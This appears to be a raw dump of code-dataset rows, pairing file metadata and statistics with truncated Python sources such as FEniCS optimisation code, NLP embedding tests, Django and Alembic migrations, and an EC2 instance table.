[ "MIT" ]
null
null
null
from cvxgraphalgs.algorithms.independent_set import * from cvxgraphalgs.algorithms.max_cut import *
33.333333
53
0.86
12
100
7
0.666667
0.380952
0.619048
0
0
0
0
0
0
0
0
0
0.08
100
2
54
50
0.913043
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
73093338aaebcf99b3b8f0903493c0a502e7fa62
15,483
py
Python
PDEConsOptProblem.py
OliverBamford/msc-proj
c3ac8d9768c3b53bb9716eefc524b590ac513aed
[ "MIT" ]
null
null
null
PDEConsOptProblem.py
OliverBamford/msc-proj
c3ac8d9768c3b53bb9716eefc524b590ac513aed
[ "MIT" ]
null
null
null
PDEConsOptProblem.py
OliverBamford/msc-proj
c3ac8d9768c3b53bb9716eefc524b590ac513aed
[ "MIT" ]
null
null
null
from fenics import * import matplotlib.pyplot as plt import numpy as np class PDEConsOptProblem: def __init__(self, N, p, ue = Expression('sin(pi*x[0])*sin(pi*x[1])', degree=3), alpha = 1e-07): """ Sets up the 'hello world' PDE-constrained optimisation problem Inputs: N: nu...
40.744737
126
0.555319
2,036
15,483
4.162083
0.13998
0.021831
0.007789
0.006372
0.797262
0.786523
0.773307
0.751003
0.747345
0.742506
0
0.017463
0.330556
15,483
380
127
40.744737
0.800096
0.090228
0
0.77957
0
0
0.05117
0.010525
0
0
0
0
0
0
null
null
0
0.016129
null
null
0.048387
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
73264e0b65514adaff39752188d292ca0389f389
31,418
py
Python
tests/test_transformer_embeddings.py
OguzKircicek/flair
fa3be40ea1d37b38b8f613b83eb3f8984d71c3e9
[ "MIT" ]
1
2021-05-19T11:42:58.000Z
2021-05-19T11:42:58.000Z
tests/test_transformer_embeddings.py
OguzKircicek/flair
fa3be40ea1d37b38b8f613b83eb3f8984d71c3e9
[ "MIT" ]
null
null
null
tests/test_transformer_embeddings.py
OguzKircicek/flair
fa3be40ea1d37b38b8f613b83eb3f8984d71c3e9
[ "MIT" ]
null
null
null
import flair import torch import pytest from flair.data import Sentence from flair.embeddings import ( RoBERTaEmbeddings, OpenAIGPTEmbeddings, OpenAIGPT2Embeddings, XLNetEmbeddings, TransformerXLEmbeddings, XLMEmbeddings, ) from transformers import ( RobertaModel, RobertaTokenizer, ...
35.947368
154
0.660258
3,625
31,418
5.354207
0.047172
0.078314
0.08223
0.047607
0.92488
0.91911
0.918491
0.900768
0.900356
0.900304
0
0.018623
0.254822
31,418
873
155
35.988545
0.809927
0.164364
0
0.711409
0
0
0.029121
0
0
0
0
0
0.100671
1
0.021812
false
0
0.011745
0
0.045302
0.003356
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
73513581e39349f68e5aef2d3e95a23083be2f15
15,719
py
Python
modules/BWA.py
tyrmi/STAPLER
fd83eee4be0bb78c67a111fd1c1c1dff4c16aefe
[ "BSD-3-Clause" ]
4
2017-07-17T07:45:39.000Z
2021-01-12T00:33:10.000Z
modules/BWA.py
tyrmi/STAPLER
fd83eee4be0bb78c67a111fd1c1c1dff4c16aefe
[ "BSD-3-Clause" ]
null
null
null
modules/BWA.py
tyrmi/STAPLER
fd83eee4be0bb78c67a111fd1c1c1dff4c16aefe
[ "BSD-3-Clause" ]
null
null
null
import os from GenericBase import GenericBase from STAPLERerror import STAPLERerror from STAPLERerror import VirtualIOError import utils class bwa_mem(GenericBase): """Class for using BWA MEM algorithm. Parameters: in_cmd: String containing a command line in_dir: Directory object containing input fil...
44.65625
119
0.549844
1,865
15,719
4.447185
0.124933
0.039788
0.01688
0.018085
0.974439
0.96817
0.96817
0.96817
0.96817
0.96817
0
0.006865
0.351358
15,719
352
120
44.65625
0.806591
0.197595
0
0.92
0
0
0.224979
0
0
0
0
0
0.008889
1
0.017778
false
0
0.022222
0
0.146667
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7dfe985593a8641cbc797d00ff486247afdfaba3
580
py
Python
eval_covid20cases_timm-regnetx_002_ImageCompression.py
BrunoKrinski/segtool
cb604b5f38104c43a76450136e37c3d1c4b6d275
[ "MIT" ]
null
null
null
eval_covid20cases_timm-regnetx_002_ImageCompression.py
BrunoKrinski/segtool
cb604b5f38104c43a76450136e37c3d1c4b6d275
[ "MIT" ]
null
null
null
eval_covid20cases_timm-regnetx_002_ImageCompression.py
BrunoKrinski/segtool
cb604b5f38104c43a76450136e37c3d1c4b6d275
[ "MIT" ]
null
null
null
import os ls=["python main.py --configs configs/eval_covid20cases_unetplusplus_timm-regnetx_002_0_ImageCompression.yml", "python main.py --configs configs/eval_covid20cases_unetplusplus_timm-regnetx_002_1_ImageCompression.yml", "python main.py --configs configs/eval_covid20cases_unetplusplus_timm-regnetx_002_2_ImageCo...
52.727273
110
0.856897
80
580
5.8375
0.3
0.107066
0.12848
0.203426
0.890792
0.890792
0.890792
0.890792
0.890792
0.890792
0
0.054645
0.053448
580
11
111
52.727273
0.795993
0
0
0
0
0
0.886403
0.671256
0
0
0
0
0
1
0
false
0
0.111111
0
0.111111
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
b43a86d9d03e750fe2d90844bf9a46cd960135ff
11,492
py
Python
rl3/agent/bloom.py
leferrad/rl-3
b8cd81efc0d2619a31790d5e919c44fa1526d344
[ "BSD-3-Clause" ]
null
null
null
rl3/agent/bloom.py
leferrad/rl-3
b8cd81efc0d2619a31790d5e919c44fa1526d344
[ "BSD-3-Clause" ]
null
null
null
rl3/agent/bloom.py
leferrad/rl-3
b8cd81efc0d2619a31790d5e919c44fa1526d344
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """""" __author__ = 'leferrad' from sklearn.linear_model import PassiveAggressiveRegressor, SGDRegressor from bloom_filter import BloomFilter import numpy as np class SGDRegressor2: def __init__(self, D, lr=1e-4): self.w = np.random.randn(D) / np.sqrt(D) ...
38.05298
103
0.557779
1,513
11,492
4.09121
0.107072
0.06462
0.071082
0.080129
0.826979
0.826979
0.819063
0.813247
0.801939
0.801939
0
0.019111
0.330665
11,492
302
104
38.05298
0.785621
0.098938
0
0.770642
0
0
0.020549
0.002617
0
0
0
0
0
0
null
null
0.018349
0.013761
null
null
0.009174
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
b46a54ae29aaa759c6eb033495b9e8a3e7aba747
141
py
Python
environment/gym-Continuous/gym_Continuous/envs/__init__.py
nickplas/Internship_ESTECO
576039255a7f087585e19f323873f8e5dc2af39b
[ "Apache-2.0" ]
2
2021-03-05T02:11:43.000Z
2021-04-23T13:18:16.000Z
environment/gym-Continuous/gym_Continuous/envs/__init__.py
nickplas/Internship_ESTECO
576039255a7f087585e19f323873f8e5dc2af39b
[ "Apache-2.0" ]
null
null
null
environment/gym-Continuous/gym_Continuous/envs/__init__.py
nickplas/Internship_ESTECO
576039255a7f087585e19f323873f8e5dc2af39b
[ "Apache-2.0" ]
null
null
null
from gym_Continuous.envs.Continuous_env import ContinuousEnv #from gym_Continuous.envs.Continuous_extrahard_env import ContinuousExtraHardEnv
70.5
80
0.914894
17
141
7.294118
0.529412
0.112903
0.274194
0.33871
0.5
0
0
0
0
0
0
0
0.049645
141
2
80
70.5
0.925373
0.560284
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
b46e977eac20ec33987eb97a90fef9a998a606d1
29
py
Python
VisualCompass/__init__.py
tioguerra/VisualCompass
e81585194c88ae430fc0b83b0a51596c52ec9aef
[ "MIT" ]
1
2019-04-23T12:17:03.000Z
2019-04-23T12:17:03.000Z
VisualCompass/__init__.py
tioguerra/VisualCompass
e81585194c88ae430fc0b83b0a51596c52ec9aef
[ "MIT" ]
null
null
null
VisualCompass/__init__.py
tioguerra/VisualCompass
e81585194c88ae430fc0b83b0a51596c52ec9aef
[ "MIT" ]
null
null
null
from VisualCompass import *
9.666667
27
0.793103
3
29
7.666667
1
0
0
0
0
0
0
0
0
0
0
0
0.172414
29
2
28
14.5
0.958333
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
1
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
7
81f64d18cae955594fcdfbb7ed0515e19665a345
5,238
py
Python
scripts/ruler/measures/cwl_ift.py
leifos/cwl
7f9f3133373079cf1f65b5e370da4accef59380f
[ "MIT" ]
6
2018-07-31T11:00:59.000Z
2021-06-18T06:29:31.000Z
scripts/ruler/measures/cwl_ift.py
leifos/cwl
7f9f3133373079cf1f65b5e370da4accef59380f
[ "MIT" ]
null
null
null
scripts/ruler/measures/cwl_ift.py
leifos/cwl
7f9f3133373079cf1f65b5e370da4accef59380f
[ "MIT" ]
1
2020-10-15T03:23:29.000Z
2020-10-15T03:23:29.000Z
import numpy as np import math from ruler.measures.cwl_metrics import CWLMetric ''' Information Foraging Based Measure @inproceedings{Azzopardi:2018:MUS:3209978.3210027, author = {Azzopardi, Leif and Thomas, Paul and Craswell, Nick}, title = {Measuring the Utility of Search Engine Result Pages: An Information Fora...
36.124138
141
0.54601
689
5,238
4.09434
0.161103
0.00709
0.011344
0.054945
0.929458
0.929458
0.922368
0.883729
0.883729
0.847926
0
0.076313
0.302024
5,238
144
142
36.375
0.695295
0
0
0.711538
0
0.019231
0.337482
0.074246
0
0
0
0
0
1
0.125
false
0
0.028846
0.028846
0.278846
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
81fe668029e4ddd8e1022f5573c44375b71e1557
2,915
py
Python
src/projects/migrations/0002_auto_20170112_1016.py
MEEM-MLHD/territoire_conseil
a1213575bc4fa12574859aab0dfa90f4eff7c6eb
[ "BSD-3-Clause" ]
null
null
null
src/projects/migrations/0002_auto_20170112_1016.py
MEEM-MLHD/territoire_conseil
a1213575bc4fa12574859aab0dfa90f4eff7c6eb
[ "BSD-3-Clause" ]
null
null
null
src/projects/migrations/0002_auto_20170112_1016.py
MEEM-MLHD/territoire_conseil
a1213575bc4fa12574859aab0dfa90f4eff7c6eb
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.10 on 2017-01-12 10:16 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('projects', '0001_initial'), ] operations = [ migrations.AlterField( ...
32.032967
63
0.565352
276
2,915
5.778986
0.206522
0.188088
0.23511
0.272727
0.829467
0.829467
0.829467
0.8
0.8
0.771787
0
0.032795
0.320069
2,915
90
64
32.388889
0.771948
0.022642
0
0.722892
1
0
0.119115
0.007379
0
0
0
0
0
1
0
false
0
0.024096
0
0.060241
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
c30045c1b50153174559d358cf1d70068ac4cbf5
6,529
py
Python
fhir/resources/DSTU2/tests/test_appointment.py
cstoltze/fhir.resources
52f99738935b7313089d89daf94d73ce7d167c9d
[ "BSD-3-Clause" ]
144
2019-05-08T14:24:43.000Z
2022-03-30T02:37:11.000Z
fhir/resources/DSTU2/tests/test_appointment.py
cstoltze/fhir.resources
52f99738935b7313089d89daf94d73ce7d167c9d
[ "BSD-3-Clause" ]
82
2019-05-13T17:43:13.000Z
2022-03-30T16:45:17.000Z
fhir/resources/DSTU2/tests/test_appointment.py
cstoltze/fhir.resources
52f99738935b7313089d89daf94d73ce7d167c9d
[ "BSD-3-Clause" ]
48
2019-04-04T14:14:53.000Z
2022-03-30T06:07:31.000Z
# -*- coding: utf-8 -*- from datetime import datetime, timezone from .. import fhirtypes # noqa: F401 from .. import appointment def test_Appointment_1(base_settings): filename = ( base_settings["unittest_data_dir"] / "appointment-example-request.canonical.json" ) inst = appointment.Appo...
42.122581
109
0.695053
808
6,529
5.560644
0.175743
0.166926
0.182284
0.058758
0.859559
0.851547
0.817716
0.81282
0.81282
0.784331
0
0.027917
0.177056
6,529
154
110
42.396104
0.808301
0.034768
0
0.618321
0
0
0.243011
0.018742
0
0
0
0
0.618321
1
0.045802
false
0
0.022901
0
0.068702
0
0
0
0
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
8
c37adcad4f542d27da443998e4457b5b0198e4de
2,603
py
Python
codeArena/routers/db_routers.py
IT-Academy-Social-Projects-KRV/CodeArena
c0a5170ed46bcd7808b2cbe4f3a7aaeb4ff49384
[ "MIT" ]
null
null
null
codeArena/routers/db_routers.py
IT-Academy-Social-Projects-KRV/CodeArena
c0a5170ed46bcd7808b2cbe4f3a7aaeb4ff49384
[ "MIT" ]
10
2021-08-15T08:48:26.000Z
2021-11-25T15:09:27.000Z
codeArena/routers/db_routers.py
IT-Academy-Social-Projects-KRV/CodeArena
c0a5170ed46bcd7808b2cbe4f3a7aaeb4ff49384
[ "MIT" ]
1
2022-01-05T09:16:28.000Z
2022-01-05T09:16:28.000Z
class PostgresRouter: # List what contain apps what can use default database. route_app_labels = {'auth', 'contenttypes', 'sessions', 'admin', 'user', 'vacancies', 'social_django'} def db_for_read(self, model, **hints): """ Attempts to read models in route_app_labels apps go to default db. ...
29.91954
106
0.587399
337
2,603
4.31454
0.181009
0.110041
0.192572
0.096286
0.856946
0.856946
0.856946
0.817056
0.817056
0.817056
0
0.00459
0.330388
2,603
86
107
30.267442
0.829604
0.24587
0
0.782609
0
0
0.063037
0
0
0
0
0
0
1
0.173913
false
0
0
0
0.608696
0
0
0
0
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
9
5eecfb09957f1ee02192df44f2832ee6d2bc682e
4,979
py
Python
utils/Datasets.py
meliao/fourier_neural_operator
216915c6f1acd0651c7203bc8f16824efc495c5f
[ "MIT" ]
null
null
null
utils/Datasets.py
meliao/fourier_neural_operator
216915c6f1acd0651c7203bc8f16824efc495c5f
[ "MIT" ]
null
null
null
utils/Datasets.py
meliao/fourier_neural_operator
216915c6f1acd0651c7203bc8f16824efc495c5f
[ "MIT" ]
null
null
null
import torch class OneStepDataSetComplex(torch.utils.data.Dataset): def __init__(self, X, t_grid, x_grid, fcn_data_change=False): super(OneStepDataSetComplex, self).__init__() x_n_t = X.shape[1] t_n_t = t_grid.shape[-1] s = "{} != {}".format(x_n_t, t_n_t) assert X.shape[1] =...
39.832
117
0.525808
671
4,979
3.552906
0.084948
0.046141
0.065436
0.065436
0.921141
0.921141
0.921141
0.895973
0.895973
0.895973
0
0.010722
0.363125
4,979
124
118
40.153226
0.741091
0.068488
0
0.84
0
0
0.037838
0.004541
0
0
0
0
0.02
1
0.14
false
0
0.01
0.02
0.31
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
5efbaaabf00e8a7c895503d91145ab8dc620124b
261,826
py
Python
ec2_compare/internal/hibernation/true.py
frolovv/aws.ec2.compare
582805823492f833d65c0441c4a14dce697c12aa
[ "Apache-2.0" ]
null
null
null
ec2_compare/internal/hibernation/true.py
frolovv/aws.ec2.compare
582805823492f833d65c0441c4a14dce697c12aa
[ "Apache-2.0" ]
null
null
null
ec2_compare/internal/hibernation/true.py
frolovv/aws.ec2.compare
582805823492f833d65c0441c4a14dce697c12aa
[ "Apache-2.0" ]
null
null
null
# Automatically generated # pylint: disable=all get = [{'SupportedArchitectures': ['x86_64'], 'SustainedClockSpeedInGhz': 2.5, 'DefaultVCpus': 1, 'DefaultCores': 1, 'DefaultThreadsPerCore': 1, 'SizeInMiB': 3840, 'TotalSizeInGB': 4, 'Disks': [{'SizeInGB': 4, 'Count': 1, 'Type': 'ssd'}], 'NvmeSupport': 'unsupported', '...
21,818.833333
261,626
0.742707
20,085
261,826
9.671695
0.013791
0.047237
0.028993
0.045754
0.998059
0.998008
0.997601
0.995907
0.995521
0.99461
0
0.050392
0.072682
261,826
11
261,627
23,802.363636
0.749687
0.000523
0
0
1
0
0.683631
0.294934
0
0
0
0
0
1
0.333333
false
0
0
0
0.666667
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
1
1
0
0
0
0
1
0
1
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
12
48a18149d76754d299f9c952d925081693a417a1
24,053
py
Python
dataprofiler/tests/profilers/test_unstructured_text_profile.py
az85252/DataProfiler
1303abe04b48fa87c67d8d9b3a13f8cb88e79afb
[ "Apache-2.0" ]
null
null
null
dataprofiler/tests/profilers/test_unstructured_text_profile.py
az85252/DataProfiler
1303abe04b48fa87c67d8d9b3a13f8cb88e79afb
[ "Apache-2.0" ]
null
null
null
dataprofiler/tests/profilers/test_unstructured_text_profile.py
az85252/DataProfiler
1303abe04b48fa87c67d8d9b3a13f8cb88e79afb
[ "Apache-2.0" ]
null
null
null
import unittest import pandas as pd from dataprofiler.profilers.unstructured_text_profile import TextProfiler from dataprofiler.profilers.profiler_options import TextProfilerOptions class TestUnstructuredTextProfile(unittest.TestCase): def test_text_profile_update_and_name(self): text_profile = Tex...
44.542593
88
0.585665
2,877
24,053
4.709767
0.055961
0.079557
0.067749
0.047528
0.914686
0.888708
0.874686
0.862657
0.84679
0.828856
0
0.023226
0.280422
24,053
539
89
44.625232
0.759649
0.108386
0
0.82337
0
0
0.131838
0
0
0
0
0
0.184783
1
0.046196
false
0
0.01087
0
0.059783
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
5b0a7b31e9d628829949c386ed303a873f88160b
158
py
Python
gridworlds/grid_exceptions.py
ryanmccauley211/gridworld
bca2e4894c10b9b8e2462e97b754b39248fe4f06
[ "MIT" ]
null
null
null
gridworlds/grid_exceptions.py
ryanmccauley211/gridworld
bca2e4894c10b9b8e2462e97b754b39248fe4f06
[ "MIT" ]
null
null
null
gridworlds/grid_exceptions.py
ryanmccauley211/gridworld
bca2e4894c10b9b8e2462e97b754b39248fe4f06
[ "MIT" ]
null
null
null
class GridOutOfBoundsException(Exception): pass class GridGenerateException(Exception): pass class InvalidDimensionsException(Exception): pass
15.8
44
0.791139
12
158
10.416667
0.5
0.312
0.288
0
0
0
0
0
0
0
0
0
0.151899
158
10
45
15.8
0.932836
0
0
0.5
1
0
0
0
0
0
0
0
0
1
0
true
0.5
0
0
0.5
0
1
0
1
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
7
d2bfc8513e0ee171ec34c9dff101d8bdf4052b71
21,962
py
Python
server/kraken/migrations/versions/42ea01a6cf31_convert_timestamps_to_with_timezones.py
fossabot/kraken-3
7ac472de8ff6f44aac4dbd231f896f00e6f3b278
[ "Apache-2.0" ]
66
2020-08-14T12:52:39.000Z
2022-03-31T13:56:25.000Z
server/kraken/migrations/versions/42ea01a6cf31_convert_timestamps_to_with_timezones.py
kinsanras/kraken
3938ee4e65ba8f67ec5ee0e912b43fad84548f2c
[ "Apache-2.0" ]
110
2020-07-23T07:12:09.000Z
2022-03-26T05:54:18.000Z
server/kraken/migrations/versions/42ea01a6cf31_convert_timestamps_to_with_timezones.py
kinsanras/kraken
3938ee4e65ba8f67ec5ee0e912b43fad84548f2c
[ "Apache-2.0" ]
4
2021-03-10T05:25:03.000Z
2022-01-24T10:12:33.000Z
"""convert timestamps to with timezones Revision ID: 42ea01a6cf31 Revises: ce05198f524a Create Date: 2021-06-26 23:50:50.271191 """ from alembic import op import sqlalchemy as sa from sqlalchemy.dialects import postgresql # revision identifiers, used by Alembic. revision = '42ea01a6cf31' down_revision = 'ce05198f524...
44.729124
65
0.596121
2,084
21,962
6.038868
0.043186
0.064521
0.119825
0.202781
0.975606
0.975606
0.972745
0.96178
0.95447
0.95447
0
0.003207
0.290046
21,962
490
66
44.820408
0.803938
0.01448
0
0.980973
0
0
0.079696
0
0
0
0
0
0
1
0.004228
false
0
0.006342
0
0.010571
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
d2e159519bcfba6a22741e083054d4da7cb36577
3,450
py
Python
parsers/milliscope_parser.py
jazevedo620/wise-kubernetes
a39daa1bb4b742c974a43f3d5e44f6036d1d16ad
[ "Apache-2.0" ]
1
2020-03-13T06:10:18.000Z
2020-03-13T06:10:18.000Z
parsers/milliscope_parser.py
elba-kubernetes/experiment
a39daa1bb4b742c974a43f3d5e44f6036d1d16ad
[ "Apache-2.0" ]
1
2020-09-18T20:14:38.000Z
2020-09-18T20:14:38.000Z
parsers/milliscope_parser.py
elba-kubernetes/experiment
a39daa1bb4b742c974a43f3d5e44f6036d1d16ad
[ "Apache-2.0" ]
null
null
null
import csv import numpy import sys from collections import OrderedDict class LogEntryConnect: """A TCP/IP event log entry.""" def __init__(self, event, ret, ts, pid, tid, sock_fd, port): """Initialize a LogEntry. event -- [str] Name of the invoked syscall: 'connect', 'sendto', or 'recvfrom'....
27.6
207
0.597101
442
3,450
4.445701
0.169683
0.054962
0.072774
0.018321
0.844784
0.844784
0.821374
0.821374
0.821374
0.821374
0
0.001613
0.281159
3,450
125
208
27.6
0.790726
0.307826
0
0.776119
0
0
0.02427
0
0
0
0
0
0
1
0.283582
false
0
0.059701
0.104478
0.626866
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
10
9621d312f0f0599663a55ebe605be8beb25bf079
48,261
py
Python
cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_ping_act.py
bopopescu/ACI
dd717bc74739eeed4747b3ea9e36b239580df5e1
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_ping_act.py
bopopescu/ACI
dd717bc74739eeed4747b3ea9e36b239580df5e1
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_ping_act.py
bopopescu/ACI
dd717bc74739eeed4747b3ea9e36b239580df5e1
[ "ECL-2.0", "Apache-2.0" ]
1
2020-07-22T04:04:44.000Z
2020-07-22T04:04:44.000Z
""" Cisco_IOS_XR_ping_act This module contains a collection of YANG definitions for Cisco IOS\-XR ping action package configuration. Copyright (c) 2016 by Cisco Systems, Inc. All rights reserved. """ from collections import OrderedDict from ydk.types import Entity, EntityPath, Identity, Enum, YType, YLeaf, YLeafLi...
37.792482
307
0.433974
3,903
48,261
5.134768
0.053036
0.031935
0.020957
0.01946
0.906791
0.884637
0.85839
0.846864
0.841076
0.827903
0
0.030498
0.461905
48,261
1,276
308
37.8221
0.74123
0.23288
0
0.764069
0
0.004329
0.133865
0.026674
0
0
0
0
0
1
0.062771
false
0
0.010823
0
0.112554
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
824d517524ce89e71e9d2d9e5ffa092ab4aca89b
68
py
Python
car/quat.py
chocolatedisco/airsim-python
19616a3d5562a64eabc50b33e6dadf2105175c36
[ "MIT" ]
null
null
null
car/quat.py
chocolatedisco/airsim-python
19616a3d5562a64eabc50b33e6dadf2105175c36
[ "MIT" ]
null
null
null
car/quat.py
chocolatedisco/airsim-python
19616a3d5562a64eabc50b33e6dadf2105175c36
[ "MIT" ]
null
null
null
q1 = Quaternion(0.7,2.2,-2.2,-0.7) q2 = Quaternion(0.7,2.2,-2.2,0.7)
34
34
0.588235
20
68
2
0.3
0.3
0.3
0.65
0.9
0.9
0.9
0.9
0.9
0
0
0.285714
0.073529
68
2
35
34
0.349206
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
1
1
1
1
1
1
1
1
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
12
82c6830463da0ca9c8c6e1194d31817f310e7a36
90,208
py
Python
src/module/nolbo.py
bogus2000/Anchor-Distance
6c7db354f7bf8fee9f3b2910e05302c606cc4e9c
[ "MIT" ]
1
2022-02-17T06:03:57.000Z
2022-02-17T06:03:57.000Z
src/module/nolbo.py
bogus2000/Anchor-Distance
6c7db354f7bf8fee9f3b2910e05302c606cc4e9c
[ "MIT" ]
null
null
null
src/module/nolbo.py
bogus2000/Anchor-Distance
6c7db354f7bf8fee9f3b2910e05302c606cc4e9c
[ "MIT" ]
null
null
null
import src.net_core.darknet as darknet import src.net_core.autoencoder3D as ae3D import src.net_core.priornet as priornet import numpy as np from src.module.function import * from src.box_IoU_rotation.box_intersection_2d import * # @tf.RegisterGradient("DynamicPartition") # def _DynamicPartitionGrads(op, *grads): # ...
56.309613
190
0.631119
12,718
90,208
4.088379
0.037899
0.027541
0.004096
0.006193
0.923283
0.900204
0.868432
0.838891
0.821967
0.811389
0
0.033387
0.235655
90,208
1,601
191
56.344785
0.720725
0.155408
0
0.741409
0
0
0.017131
0.00058
0
0
0
0
0
1
0.095361
false
0
0.005155
0.001718
0.122852
0.006873
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
82e2a834ce1d6730f356acd4dd896f100b74bf59
2,565
py
Python
test/pyaz/ams/content_key_policy/option/__init__.py
bigdatamoore/py-az-cli
54383a4ee7cc77556f6183e74e992eec95b28e01
[ "MIT" ]
null
null
null
test/pyaz/ams/content_key_policy/option/__init__.py
bigdatamoore/py-az-cli
54383a4ee7cc77556f6183e74e992eec95b28e01
[ "MIT" ]
9
2021-09-24T16:37:24.000Z
2021-12-24T00:39:19.000Z
test/pyaz/ams/content_key_policy/option/__init__.py
bigdatamoore/py-az-cli
54383a4ee7cc77556f6183e74e992eec95b28e01
[ "MIT" ]
null
null
null
import json, subprocess from .... pyaz_utils import get_cli_name, get_params def add(resource_group, account_name, name, policy_option_name, clear_key_configuration=None, open_restriction=None, issuer=None, audience=None, token_key=None, token_key_type=None, alt_symmetric_token_keys=None, alt_rsa_token_keys=None, alt...
55.76087
573
0.749318
358
2,565
5.100559
0.215084
0.03943
0.032859
0.032859
0.882256
0.864732
0.864732
0.842826
0.796824
0.796824
0
0.004125
0.149318
2,565
45
574
57
0.832722
0
0
0.804878
0
0
0.05731
0
0
0
0
0
0
1
0.073171
false
0.04878
0.04878
0
0.195122
0.219512
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7dcf60f808360f183725825d1c8c10205bec1fde
627
py
Python
tf/002_conv2d.py
deep-learning/facenet
e74cf7c2a29477ed76cd34e243f993090c6f6987
[ "MIT" ]
null
null
null
tf/002_conv2d.py
deep-learning/facenet
e74cf7c2a29477ed76cd34e243f993090c6f6987
[ "MIT" ]
null
null
null
tf/002_conv2d.py
deep-learning/facenet
e74cf7c2a29477ed76cd34e243f993090c6f6987
[ "MIT" ]
1
2021-09-28T09:20:31.000Z
2021-09-28T09:20:31.000Z
import tensorflow as tf # todo http://www.cnblogs.com/welhzh/p/6607581.html sess = tf.InteractiveSession() input = tf.Variable(tf.random_normal([1,3,3,5])) filter = tf.Variable(tf.random_normal([1,1,5,1])) # 1x3x3x1 op = tf.nn.conv2d(input, filter, strides=[1, 1, 1, 1], padding='VALID') sess.run(tf.global_variable...
26.125
71
0.711324
109
627
4.018349
0.330275
0.031963
0.109589
0.164384
0.746575
0.746575
0.744292
0.744292
0.744292
0.744292
0
0.064685
0.087719
627
23
72
27.26087
0.701049
0.090909
0
0.615385
0
0
0.017637
0
0
0
0
0.043478
0
1
0
false
0
0.076923
0
0.076923
0.230769
0
0
0
null
0
0
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
7
7dedb0117d1be905df8ae3f0566a0d766c72b378
8,641
py
Python
tests/helpers.py
mikey/lpcperipheral
ef2f91127c14f9f49759f614f512f3b79f659327
[ "Apache-2.0" ]
2
2021-10-05T01:23:56.000Z
2021-10-05T14:34:51.000Z
tests/helpers.py
mikey/lpcperipheral
ef2f91127c14f9f49759f614f512f3b79f659327
[ "Apache-2.0" ]
1
2021-10-10T23:15:11.000Z
2021-10-10T23:15:11.000Z
tests/helpers.py
